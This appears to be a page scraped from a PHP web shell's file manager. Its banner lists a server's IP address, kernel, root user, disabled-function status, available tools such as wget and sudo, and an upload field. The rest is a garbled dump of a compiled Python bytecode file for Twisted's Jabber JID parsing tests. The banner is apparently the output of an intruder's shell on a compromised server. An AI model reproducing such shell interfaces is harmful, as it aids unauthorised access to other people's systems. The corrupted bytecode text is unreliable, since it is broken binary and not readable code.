Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/ |
Upload File : |
o �b� � @ sV d Z ddlmZ ddlmZ G dd� dej�ZG dd� dej�ZG dd � d ej�Zd S )z2 Tests for L{twisted.words.protocols.jabber.jid}. � )�unittest)�jidc @ sD e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dS )�JIDParsingTestsc C s� | � t�d�d� | � t�d�d� | � t�d�d� | � t�d�d� | � t�d �d � | � t�d�d� | � t�d �d� | � t�d�d� | � t�d�d� | � t�d�d� dS )z/ Test different forms of JIDs. �user@host/resource��user�host�resource� user@host�r r Nr �Nr N� host/resource�Nr r zfoo/bar@baz)N�foo�bar@bazzboo@foo/bar@baz)�boor r zboo@foo/bar/baz)r r zbar/bazzboo/foo@bar@baz)Nr zfoo@bar@bazzboo/foo/bar)Nr zfoo/barzboo//foo)Nr z/fooN)�assertEqualr �parse��self� r �C/usr/lib/python3/dist-packages/twisted/words/test/test_jabberjid.py� test_parse s zJIDParsingTests.test_parsec C � | � tjtjd� dS )z3 Test for failure on no host part. zuser@N��assertRaisesr � InvalidFormatr r r r r �test_noHost s zJIDParsingTests.test_noHostc C r )z� Test for failure on double @ signs. This should fail because @ is not a valid character for the host part of the JID. z user@@hostNr r r r r � test_doubleAt% � zJIDParsingTests.test_doubleAtc C r )z� Test for failure on two @ signs. This should fail because @ is not a valid character for the host part of the JID. zuser@host@hostNr r r r r �test_multipleAt. r zJIDParsingTests.test_multipleAtc C � | � t�ddd�d� dS )z@ Test case mapping of the user part of the JID. �UsErr r r N�r r �prepr r r r �test_prepCaseMapUser: � �z$JIDParsingTests.test_prepCaseMapUserc C r! )z@ Test case mapping of the host part of the JID. r �hoSTr r Nr# r r r r �test_prepCaseMapHostB r&